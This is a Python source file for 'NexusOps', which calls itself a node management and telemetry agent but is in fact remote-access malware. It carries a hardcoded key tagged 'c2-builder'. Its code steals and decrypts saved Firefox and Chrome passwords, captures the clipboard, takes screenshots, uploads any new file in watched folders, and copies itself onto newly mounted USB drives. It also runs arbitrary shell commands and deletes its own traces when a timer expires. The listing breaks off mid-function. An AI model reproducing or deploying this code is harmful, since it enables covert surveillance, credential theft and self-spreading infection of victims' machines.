1485 lines
66 KiB
Python
1485 lines
66 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
NexusOps Cross-Platform Node Management & Telemetry Agent
|
|
Uses Standard Python 3 Libraries (No external dependencies required)
|
|
"""
|
|
|
|
import sys
|
|
import os
|
|
import time
|
|
import json
|
|
import socket
|
|
import platform
|
|
import subprocess
|
|
import shutil
|
|
import getpass
|
|
import urllib.request
|
|
AGENT_VERSION = "2.4.0"
|
|
NEXUS_TTL_DAYS = int(os.environ.get('NEXUS_TTL_DAYS', '14'))
|
|
NEXUS_FALLBACK_URLS = os.environ.get('NEXUS_FALLBACK_URLS', '').split(',') if os.environ.get('NEXUS_FALLBACK_URLS') else []
|
|
NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay'
|
|
AGENT_TOKEN = '__AGENT_TOKEN__'
|
|
import urllib.parse
|
|
import argparse
|
|
|
|
last_log_check_time = 0
|
|
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
|
|
node_tags = ["Default"]
|
|
quiet_mode = False # Suppress banner and exec messages when True
|
|
|
|
def get_process_count():
|
|
"""Get real process count cross-platform."""
|
|
system = platform.system().lower()
|
|
try:
|
|
if system == "linux" or system == "darwin":
|
|
out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
|
|
return len(out.splitlines()) - 1 # minus header
|
|
elif system == "windows":
|
|
out = subprocess.check_output(["tasklist"], text=True, timeout=5)
|
|
return len(out.splitlines()) - 1
|
|
except:
|
|
pass
|
|
return 0
|
|
|
|
def get_ip_address():
|
|
"""Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
|
|
system = platform.system().lower()
|
|
try:
|
|
if system == "darwin":
|
|
# macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
|
|
out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
|
|
for line in out.splitlines():
|
|
if 'inet ' in line and '127.0.0.1' not in line:
|
|
parts = line.strip().split()
|
|
for i, p in enumerate(parts):
|
|
if p == 'inet' and i+1 < len(parts):
|
|
return parts[i+1]
|
|
elif system == "linux":
|
|
# Linux: try ip route to find primary interface
|
|
out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
|
|
for part in out.split():
|
|
if part.startswith('src '):
|
|
return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
|
|
except:
|
|
pass
|
|
# Fallback: connect to 8.8.8.8
|
|
try:
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
s.connect(("8.8.8.8", 80))
|
|
ip = s.getsockname()[0]
|
|
s.close()
|
|
return ip
|
|
except Exception:
|
|
return "127.0.0.1"
|
|
|
|
def get_cpu_usage():
|
|
system = platform.system().lower()
|
|
try:
|
|
if system == "linux":
|
|
with open('/proc/stat', 'r') as f:
|
|
fields = [float(column) for column in f.readline().strip().split()[1:]]
|
|
idle, total = fields[3], sum(fields)
|
|
time.sleep(0.2)
|
|
with open('/proc/stat', 'r') as f:
|
|
fields2 = [float(column) for column in f.readline().strip().split()[1:]]
|
|
idle2, total2 = fields2[3], sum(fields2)
|
|
idle_delta = idle2 - idle
|
|
total_delta = total2 - total
|
|
if total_delta > 0:
|
|
return round(100.0 * (1.0 - idle_delta / total_delta), 1)
|
|
elif system == "darwin":
|
|
out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
|
|
for line in out.splitlines():
|
|
if "CPU usage" in line:
|
|
parts = line.split()
|
|
user = float(parts[2].replace('%', ''))
|
|
sys_c = float(parts[4].replace('%', ''))
|
|
return round(user + sys_c, 1)
|
|
elif system == "windows":
|
|
out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
|
|
lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
|
|
if lines:
|
|
return float(lines[0])
|
|
except Exception:
|
|
pass
|
|
return 15.0
|
|
|
|
def get_memory_usage():
|
|
system = platform.system().lower()
|
|
try:
|
|
if system == "linux":
|
|
meminfo = {}
|
|
with open('/proc/meminfo', 'r') as f:
|
|
for line in f:
|
|
parts = line.split(':')
|
|
if len(parts) == 2:
|
|
key = parts[0].strip()
|
|
val = int(parts[1].split()[0])
|
|
meminfo[key] = val
|
|
total = meminfo.get('MemTotal', 1)
|
|
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
|
|
return round(((total - free) / total) * 100.0, 1)
|
|
elif system == "darwin":
|
|
# Use vm_stat for real memory usage on macOS
|
|
try:
|
|
out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
|
|
pages = {}
|
|
for line in out.splitlines():
|
|
if ':' in line:
|
|
k, v = line.split(':', 1)
|
|
try:
|
|
pages[k.strip()] = int(v.strip().rstrip('.'))
|
|
except ValueError:
|
|
pass
|
|
page_size = 16384 # Default macOS page size
|
|
free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
|
|
used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
|
|
total_pages = free + used + pages.get('Pages purgeable', 0)
|
|
if total_pages > 0:
|
|
return round((used / total_pages) * 100.0, 1)
|
|
except:
|
|
pass
|
|
# Fallback: use sysctl for hardware info
|
|
try:
|
|
out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
|
|
total_bytes = int(out.strip())
|
|
# Use vm_stat pages * page_size for used estimate
|
|
vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
|
|
import re
|
|
active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
|
|
wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
|
|
used_bytes = (active + wired) * 16384
|
|
if total_bytes > 0:
|
|
return round((used_bytes / total_bytes) * 100.0, 1)
|
|
except:
|
|
pass
|
|
return 45.0
|
|
elif system == "windows":
|
|
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
|
|
d = {}
|
|
for line in out.splitlines():
|
|
if '=' in line:
|
|
k, v = line.split('=', 1)
|
|
d[k.strip()] = float(v.strip())
|
|
if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
|
|
total = d['TotalVisibleMemorySize']
|
|
free = d['FreePhysicalMemory']
|
|
return round(((total - free) / total) * 100.0, 1)
|
|
except Exception:
|
|
pass
|
|
return 35.0
|
|
|
|
def get_disk_usage():
|
|
try:
|
|
if hasattr(os, 'statvfs'):
|
|
st = os.statvfs('/')
|
|
total = st.f_blocks * st.f_frsize
|
|
free = st.f_bavail * st.f_frsize
|
|
if total > 0:
|
|
return round(((total - free) / total) * 100.0, 1)
|
|
except Exception:
|
|
pass
|
|
return 40.0
|
|
|
|
def get_uptime_seconds():
|
|
system = platform.system().lower()
|
|
try:
|
|
if system == "linux":
|
|
with open('/proc/uptime', 'r') as f:
|
|
return int(float(f.readline().split()[0]))
|
|
elif system == "darwin":
|
|
# macOS: use sysctl to get boot time, compute uptime
|
|
out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
|
|
# Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970
|
|
import re
|
|
m = re.search(r'sec\s*=\s*(\d+)', out)
|
|
if m:
|
|
boot_time = int(m.group(1))
|
|
return int(time.time() - boot_time)
|
|
except Exception:
|
|
pass
|
|
return 3600
|
|
|
|
def collect_recent_system_logs():
|
|
system = platform.system().lower()
|
|
log_entries = []
|
|
try:
|
|
if system == "linux":
|
|
res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
|
|
if res.returncode == 0 and res.stdout:
|
|
for line in res.stdout.splitlines():
|
|
if line.strip():
|
|
log_entries.append(line.strip())
|
|
elif system == "windows":
|
|
res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
|
|
if res.returncode == 0 and res.stdout:
|
|
for line in res.stdout.splitlines():
|
|
if line.strip():
|
|
log_entries.append(line.strip())
|
|
except Exception:
|
|
pass
|
|
return log_entries
|
|
|
|
def http_post(url, data_dict):
|
|
json_bytes = json.dumps(data_dict).encode('utf-8')
|
|
req = urllib.request.Request(
|
|
url,
|
|
data=json_bytes,
|
|
headers={
|
|
'Content-Type': 'application/json',
|
|
'User-Agent': 'NexusOps-Agent/1.0',
|
|
'X-Agent-Token': AGENT_TOKEN
|
|
}
|
|
)
|
|
try:
|
|
with urllib.request.urlopen(req, timeout=5) as response:
|
|
res_text = response.read().decode('utf-8')
|
|
return json.loads(res_text)
|
|
except Exception as e:
|
|
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
|
|
return None
|
|
|
|
|
|
# ── Self-destruct TTL ──
|
|
import getpass as _gp # noqa (ensure available)
|
|
ACTIVATION_FILE = os.path.join(os.path.expanduser("~"), ".nexus_agent_activated")
|
|
|
|
def _check_ttl_and_wipe(server_url):
|
|
"""Wipe self + persistence if older than TTL. Returns True if wiped."""
|
|
if NEXUS_TTL_DAYS < 0:
|
|
return False # negative disables the TTL entirely
|
|
try:
|
|
if not os.path.exists(ACTIVATION_FILE):
|
|
with open(ACTIVATION_FILE, "w") as f:
|
|
f.write(str(int(time.time())))
|
|
return False
|
|
activated = int(open(ACTIVATION_FILE).read().strip() or 0)
|
|
except Exception:
|
|
return False
|
|
if time.time() - activated < NEXUS_TTL_DAYS * 86400:
|
|
return False
|
|
system = platform.system().lower()
|
|
try:
|
|
if system == "linux":
|
|
subprocess.run("systemctl disable --now network-agent 2>/dev/null; rm -f /etc/systemd/system/network-agent.service; systemctl daemon-reload 2>/dev/null", shell=True, timeout=15)
|
|
subprocess.run("crontab -l 2>/dev/null | grep -v 'agent.py --server' | crontab - 2>/dev/null", shell=True, timeout=10)
|
|
elif system == "darwin":
|
|
subprocess.run("launchctl bootout gui/$(id -u) $HOME/Library/LaunchAgents/com.nexusops.agent.plist 2>/dev/null; rm -f $HOME/Library/LaunchAgents/com.nexusops.agent.plist", shell=True, timeout=15)
|
|
elif system == "windows":
|
|
subprocess.run("schtasks /delete /tn NexusOpsAgent /f 2>nul", shell=True, timeout=10)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
# best-effort goodbye
|
|
try:
|
|
http_post(f"{server_url}/api/agent/command-result", {"commandId": "ttl-wipe", "nodeId": node_id if 'node_id' in globals() else 'unknown', "output": "TTL expired — agent self-wiped", "exitCode": 0})
|
|
except Exception:
|
|
pass
|
|
for stray in ("/opt/network-agent", os.path.expanduser("~/.config/autostart/nexus-agent.desktop"), ACTIVATION_FILE):
|
|
if os.path.isdir(stray):
|
|
shutil.rmtree(stray, ignore_errors=True)
|
|
elif os.path.exists(stray):
|
|
os.remove(stray)
|
|
except Exception:
|
|
pass
|
|
# delete self LAST, then hard-exit
|
|
try:
|
|
me = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__)
|
|
os.remove(me)
|
|
except Exception:
|
|
pass
|
|
os._exit(0)
|
|
|
|
# ── Clipboard capture (desktop only) ──
|
|
_last_clip = None
|
|
def _read_clipboard():
|
|
system = platform.system().lower()
|
|
cmds = {"linux": ["xclip -selection clipboard -o 2>/dev/null || xsel -b 2>/dev/null || wl-paste 2>/dev/null"],
|
|
"darwin": ["pbpaste"],
|
|
"windows": ["powershell -NoProfile -Command Get-Clipboard"]}
|
|
for c in cmds.get(system, []):
|
|
try:
|
|
r = subprocess.run(c, shell=True, capture_output=True, text=True, timeout=4)
|
|
if r.returncode == 0:
|
|
return r.stdout
|
|
except Exception:
|
|
pass
|
|
return None
|
|
|
|
def clipboard_watch_loop():
|
|
global _last_clip
|
|
while INPUT_CAPTURE_ENABLED:
|
|
try:
|
|
cur = _read_clipboard()
|
|
if cur and cur != _last_clip and len(cur) < 10000:
|
|
_last_clip = cur
|
|
_record_event("clipboard", {"content": cur[:2000]})
|
|
except Exception:
|
|
pass
|
|
time.sleep(2.5)
|
|
|
|
def start_clipboard_watch():
|
|
try:
|
|
threading.Thread(target=clipboard_watch_loop, daemon=True).start()
|
|
return True
|
|
except Exception:
|
|
return False
|
|
|
|
|
|
# ── USB spread-on-connect watcher ──
|
|
USB_WATCH = False
|
|
_last_usb_mounts = set()
|
|
|
|
def _current_usb_mounts():
|
|
dirs = []
|
|
system = platform.system().lower()
|
|
if system == "linux":
|
|
for base in ("/media", "/run/media", "/mnt"):
|
|
try:
|
|
for e in os.listdir(base):
|
|
sub = os.path.join(base, e)
|
|
if os.path.isdir(sub):
|
|
try:
|
|
for v in os.listdir(sub):
|
|
dirs.append(os.path.join(sub, v))
|
|
except Exception:
|
|
pass
|
|
if os.path.ismount(sub):
|
|
dirs.append(sub)
|
|
except Exception:
|
|
pass
|
|
elif system == "darwin":
|
|
try:
|
|
dirs = [os.path.join("/Volumes", v) for v in os.listdir("/Volumes")
|
|
if not v.startswith(("Macintosh", "com.apple"))]
|
|
except Exception:
|
|
dirs = []
|
|
return set(dirs)
|
|
|
|
def usb_watch_loop():
|
|
global _last_usb_mounts
|
|
_last_usb_mounts = _current_usb_mounts()
|
|
while USB_WATCH:
|
|
time.sleep(6)
|
|
now = _current_usb_mounts()
|
|
new = now - _last_usb_mounts
|
|
if new:
|
|
_last_usb_mounts = now
|
|
for d in new:
|
|
try:
|
|
execute_structured_action("copy_self_to_usb", {"mode": "copy", "paths": [d]})
|
|
except Exception:
|
|
pass
|
|
else:
|
|
_last_usb_mounts = now
|
|
|
|
import threading
|
|
|
|
|
|
# ── Directory watch → auto-exfil ──
|
|
_dir_watchers = {}
|
|
|
|
def _dir_watch_add(directory):
|
|
if directory in _dir_watchers or not INPUT_CAPTURE_ENABLED and False:
|
|
pass
|
|
if directory in _dir_watchers:
|
|
return
|
|
seen = set()
|
|
try:
|
|
for f in os.listdir(directory):
|
|
seen.add(f)
|
|
except Exception:
|
|
return
|
|
_dir_watchers[directory] = seen
|
|
def _loop():
|
|
while True:
|
|
time.sleep(8)
|
|
try:
|
|
for f in os.listdir(directory):
|
|
if f in _dir_watchers[directory]:
|
|
continue
|
|
fp = os.path.join(directory, f)
|
|
if os.path.isfile(fp) and os.path.getsize(fp) < 20 * 1024 * 1024:
|
|
_dir_watchers[directory].add(f)
|
|
r = execute_structured_action("download_file", {"path": fp})
|
|
try:
|
|
special = json.loads(r[0])
|
|
if special.get("type") == "file_result":
|
|
http_post(f"{server_url}/api/agent/file-result", {
|
|
"commandId": "watchdir-" + f, "nodeId": node_id,
|
|
"hostname": hostname,
|
|
"filename": special.get("filename", f),
|
|
"data": special.get("data", ""),
|
|
"mime": special.get("mime", "application/octet-stream")})
|
|
except Exception:
|
|
pass
|
|
except Exception:
|
|
pass
|
|
try:
|
|
threading.Thread(target=_loop, daemon=True).start()
|
|
except Exception:
|
|
pass
|
|
|
|
|
|
# ── Local credential decryption (stdlib + openssl CLI) ──
|
|
def _openssl_dec3des(key24, iv8, data):
|
|
"""3DES-CBC decrypt via openssl CLI."""
|
|
try:
|
|
hexkey = key24.hex() + key24[:8].hex() # 2KT
|
|
proc = subprocess.run(
|
|
["openssl", "enc", "-d", "-des-ede3-cbc", "-K", hexkey, "-iv", iv8.hex()],
|
|
input=data, capture_output=True, timeout=10)
|
|
return proc.stdout if proc.returncode == 0 else None
|
|
except Exception:
|
|
return None
|
|
|
|
def _openssl_aes128cbc_dec(key16, iv, data):
|
|
try:
|
|
proc = subprocess.run(
|
|
["openssl", "enc", "-d", "-aes-128-cbc", "-K", key16.hex(), "-iv", iv.hex()],
|
|
input=data, capture_output=True, timeout=10)
|
|
return proc.stdout if proc.returncode == 0 else None
|
|
except Exception:
|
|
return None
|
|
|
|
def _firefox_decrypt(profile_dir):
|
|
"""Decrypt logins.json with empty master password. Returns [(user, pass, url)]."""
|
|
import sqlite3 as _sq
|
|
import hashlib as _hl
|
|
import hmac as _hm
|
|
out = []
|
|
try:
|
|
kdb = os.path.join(profile_dir, "key4.db")
|
|
ldb = os.path.join(profile_dir, "logins.json")
|
|
if not (os.path.exists(kdb) and os.path.exists(ldb)):
|
|
return out
|
|
con = _sq.connect(kdb)
|
|
cur = con.cursor()
|
|
cur.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
|
|
row = cur.fetchone()
|
|
if not row:
|
|
return out
|
|
global_salt, es_item2 = row[0], row[1]
|
|
# derive key: PBKDF2-SHA256 (empty password), then 3DES key material via HMAC-SHA256
|
|
key = _hl.pbkdf2_hmac('sha256', b'', global_salt, 1, 32) # iteration from item2 ASN.1 normally 1 for FF>=58? use common 10000 fallback below
|
|
# attempt common iteration counts
|
|
for it in (1, 10000):
|
|
key = _hl.pbkdf2_hmac('sha256', b'', global_salt, it, 32)
|
|
iv_part = es_item2[16:24]
|
|
body = es_item2[24:]
|
|
k24 = _hm.new(key, b'password-check', _hl.sha256).digest()[:24]
|
|
dec = _openssl_dec3des(k24, iv_part, body)
|
|
if dec and dec[:16] == b'password-check\x02\x02':
|
|
k24_main = _hm.new(key, b'password-check', _hl.sha256).digest()[:24]
|
|
break
|
|
else:
|
|
return out
|
|
cur.execute("SELECT a1023, a1026 FROM nssPrivate")
|
|
rows3 = cur.fetchall()
|
|
# a1023 = encrypted 3DES key (ASN.1: salt[16] + data); extract 3DES key
|
|
fkey = None
|
|
for enc_blob, _ in rows3:
|
|
if isinstance(enc_blob, str):
|
|
enc_blob = enc_blob.encode('latin1')
|
|
iv = enc_blob[16:24]
|
|
dec = _openssl_dec3des(k24_main, iv, enc_blob[24:])
|
|
if dec and len(dec) >= 32:
|
|
fkey = dec[:24]
|
|
break
|
|
con.close()
|
|
if not fkey:
|
|
return out
|
|
logins = json.load(open(ldb))
|
|
for entry in logins.get("logins", []):
|
|
try:
|
|
enc_u = entry["encryptedUsername"]["value"].encode('latin1')
|
|
enc_p = entry["encryptedPassword"]["value"].encode('latin1')
|
|
iv_u = enc_u[16:24]
|
|
iv_p = enc_p[16:24]
|
|
u = _openssl_dec3des(fkey, iv_u, enc_u[24:])
|
|
pw = _openssl_dec3des(fkey, iv_p, enc_p[24:])
|
|
if u and pw:
|
|
u = u.split(b'\x00')[-2] if b'\x00' in u else u
|
|
pw = pw.split(b'\x00')[-2] if b'\x00' in pw else pw
|
|
out.append((u.decode(errors="replace").strip('\x02\x01'),
|
|
pw.decode(errors="replace").strip('\x02\x01'),
|
|
entry.get("formSubmitURL", entry.get("hostname", "?"))))
|
|
except Exception:
|
|
pass
|
|
except Exception:
|
|
pass
|
|
return out
|
|
|
|
def _chromium_linux_decrypt(profile_dir):
|
|
"""Linux Chromium/Chrome v10 'peanuts' decryption. Returns [(user, pass, url)]."""
|
|
out = []
|
|
try:
|
|
import sqlite3 as _sq
|
|
import hashlib as _hl
|
|
key = _hl.pbkdf2_hmac('sha1', b'peanuts', b'saltysalt', 1, 16)
|
|
iv = b' ' * 16
|
|
db = os.path.join(profile_dir, "Login Data")
|
|
if not os.path.exists(db):
|
|
return out
|
|
tmp = "/tmp/.nx-login-data"
|
|
shutil.copy2(db, tmp)
|
|
con = _sq.connect(tmp)
|
|
cur = con.cursor()
|
|
cur.execute("SELECT origin_url, username_value, password_value FROM logins")
|
|
for url, user, pw_blob in cur.fetchall():
|
|
try:
|
|
if isinstance(pw_blob, str):
|
|
pw_blob = pw_blob.encode('latin1')
|
|
if pw_blob[:3] == b'v10':
|
|
dec = _openssl_aes128cbc_dec(key, iv, pw_blob[3:])
|
|
if dec:
|
|
pad = dec[-1]
|
|
if 1 <= pad <= 16:
|
|
dec = dec[:-pad]
|
|
out.append((user, dec.decode(errors="replace"), url))
|
|
except Exception:
|
|
pass
|
|
con.close()
|
|
os.remove(tmp)
|
|
except Exception:
|
|
pass
|
|
return out
|
|
|
|
def harvest_local_decrypted():
|
|
"""Called inside harvest_credentials: adds decrypted logins."""
|
|
creds = []
|
|
home = os.path.expanduser("~")
|
|
system = platform.system().lower()
|
|
if system == "linux":
|
|
for base in (os.path.join(home, ".mozilla/firefox"),
|
|
os.path.join(home, "snap/firefox/common/.mozilla/firefox"),
|
|
os.path.join(home, ".var/app/org.mozilla.firefox/.mozilla/firefox")):
|
|
try:
|
|
for prof in os.listdir(base) if os.path.isdir(base) else []:
|
|
pd = os.path.join(base, prof)
|
|
if os.path.exists(os.path.join(pd, "logins.json")):
|
|
for u, pw, url in _firefox_decrypt(pd):
|
|
creds.append({"type": f"firefox_login:{url[:60]}", "data": f"{u} : {pw}"})
|
|
except Exception:
|
|
pass
|
|
chrome_dirs = [
|
|
os.path.join(home, ".config/google-chrome/Default"),
|
|
os.path.join(home, ".config/chromium/Default"),
|
|
os.path.join(home, ".config/BraveSoftware/Brave-Browser/Default"),
|
|
os.path.join(home, "snap/chromium/common/chromium/Default"),
|
|
]
|
|
for cd in chrome_dirs:
|
|
if os.path.exists(os.path.join(cd, "Login Data")):
|
|
for u, pw, url in _chromium_linux_decrypt(cd):
|
|
creds.append({"type": f"chrome_login:{url[:60]}", "data": f"{u} : {pw}"})
|
|
return creds
|
|
|
|
|
|
|
|
def execute_structured_action(action_type, payload):
|
|
global heartbeat_interval, node_tags
|
|
system = platform.system().lower()
|
|
|
|
if action_type == "raw_command":
|
|
return run_shell(payload.get("command", ""))
|
|
|
|
|
|
elif action_type == "manage_service":
|
|
service = payload.get("service")
|
|
action = payload.get("action")
|
|
if system == "linux":
|
|
cmd = f"systemctl {action} {service}"
|
|
elif system == "windows":
|
|
cmd = f"powershell {action}-Service -Name {service}"
|
|
else:
|
|
cmd = f"launchctl {action} {service}"
|
|
return run_shell(cmd)
|
|
|
|
elif action_type == "list_processes":
|
|
if system == "linux":
|
|
cmd = "ps aux --sort=-%cpu | head -n 15"
|
|
elif system == "darwin":
|
|
cmd = "ps aux -r | head -n 15"
|
|
else:
|
|
cmd = "tasklist"
|
|
return run_shell(cmd)
|
|
|
|
elif action_type == "kill_process":
|
|
pid = payload.get("pid")
|
|
cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
|
|
return run_shell(cmd)
|
|
|
|
elif action_type == "get_logs":
|
|
lines = payload.get("lines", 50)
|
|
cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
|
|
return run_shell(cmd)
|
|
|
|
elif action_type == "network_stats":
|
|
cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
|
|
return run_shell(cmd)
|
|
|
|
# 10 NEW CROSS-PLATFORM FEATURES:
|
|
elif action_type == "get_env_vars":
|
|
env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
|
|
return env_str, 0
|
|
|
|
elif action_type == "get_disk_partitions":
|
|
cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
|
|
return run_shell(cmd)
|
|
|
|
elif action_type == "get_network_interfaces":
|
|
cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
|
|
return run_shell(cmd)
|
|
|
|
elif action_type == "get_active_connections":
|
|
cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
|
|
return run_shell(cmd)
|
|
|
|
elif action_type == "get_hardware_specs":
|
|
if system == "linux":
|
|
cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
|
|
elif system == "windows":
|
|
cmd = "wmic cpu get name,numberofcores,maxclockspeed"
|
|
else:
|
|
cmd = "sysctl -a | grep machdep.cpu"
|
|
return run_shell(cmd)
|
|
|
|
elif action_type == "reboot_system":
|
|
cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
|
|
return run_shell(cmd)
|
|
|
|
elif action_type == "set_heartbeat_rate":
|
|
rate = int(payload.get("interval", 5))
|
|
heartbeat_interval = max(2, min(60, rate))
|
|
return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0
|
|
|
|
elif action_type == "update_tags":
|
|
tags_raw = payload.get("tags", "")
|
|
node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
|
|
return f"Node tags updated to: {node_tags}", 0
|
|
|
|
elif action_type == "search_logs":
|
|
pattern = payload.get("pattern", "error")
|
|
cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
|
|
return run_shell(cmd)
|
|
|
|
elif action_type == "kill_agent":
|
|
print("[!] Kill switch received — shutting down agent")
|
|
os._exit(0)
|
|
|
|
elif action_type == "ping_check":
|
|
sent_ts = payload.get("timestamp", 0)
|
|
latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
|
|
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
|
|
|
|
elif action_type == "download_file":
|
|
MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit
|
|
filepath = payload.get("path", "")
|
|
if not filepath or not os.path.exists(filepath):
|
|
return f"ERROR: file not found: {filepath}", 1
|
|
try:
|
|
fsize = os.path.getsize(filepath)
|
|
if fsize > MAX_EXFIL_SIZE:
|
|
return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
|
|
with open(filepath, 'rb') as f:
|
|
raw = f.read()
|
|
import base64
|
|
b64 = base64.b64encode(raw).decode('utf-8')
|
|
# Determine MIME (basic)
|
|
ext = os.path.splitext(filepath)[1].lower()
|
|
mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
|
|
'.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
|
|
'.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
|
|
'.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
|
|
'.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
|
|
mime = mime_map.get(ext, 'application/octet-stream')
|
|
filename = os.path.basename(filepath)
|
|
return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
|
|
except Exception as e:
|
|
return f"ERROR reading file: {e}", 1
|
|
|
|
elif action_type == "screenshot":
|
|
try:
|
|
import base64
|
|
ss_path = "/tmp/.nexus-ss.png"
|
|
if os.path.exists(ss_path):
|
|
os.remove(ss_path)
|
|
|
|
if system == "linux":
|
|
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
|
|
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
|
|
if tool == "import":
|
|
subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
elif tool == "scrot":
|
|
subprocess.run(["scrot", ss_path], timeout=10)
|
|
elif tool == "gnome-screenshot":
|
|
subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
|
|
elif tool == "spectacle":
|
|
subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
|
|
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
|
break
|
|
else:
|
|
subprocess.run(["python3", "-c",
|
|
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
|
|
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
|
|
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
|
|
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
|
|
elif system == "darwin":
|
|
# Try multiple approaches for macOS screenshot
|
|
captured = False
|
|
# Method 1: direct screencapture (needs Screen Recording TCC permission)
|
|
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
|
|
r = subprocess.run(["screencapture"] + flags + [ss_path],
|
|
timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
|
captured = True
|
|
break
|
|
if os.path.exists(ss_path):
|
|
os.remove(ss_path)
|
|
# Method 2: try via osascript (sometimes bypasses TCC for background processes)
|
|
if not captured:
|
|
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
|
|
flag_str = " ".join(flags)
|
|
r = subprocess.run(["osascript", "-e",
|
|
f'do shell script "screencapture {flag_str} {ss_path}"'],
|
|
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
|
captured = True
|
|
break
|
|
if os.path.exists(ss_path):
|
|
os.remove(ss_path)
|
|
|
|
elif system == "windows":
|
|
subprocess.run(["powershell", "-Command",
|
|
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
|
|
"$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
|
|
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
|
|
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
|
|
timeout=15)
|
|
win_path = "C:\\Windows\\Temp\\nexus-ss.png"
|
|
if os.path.exists(win_path):
|
|
os.replace(win_path, ss_path)
|
|
|
|
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
|
with open(ss_path, 'rb') as f:
|
|
b64 = base64.b64encode(f.read()).decode('utf-8')
|
|
os.remove(ss_path)
|
|
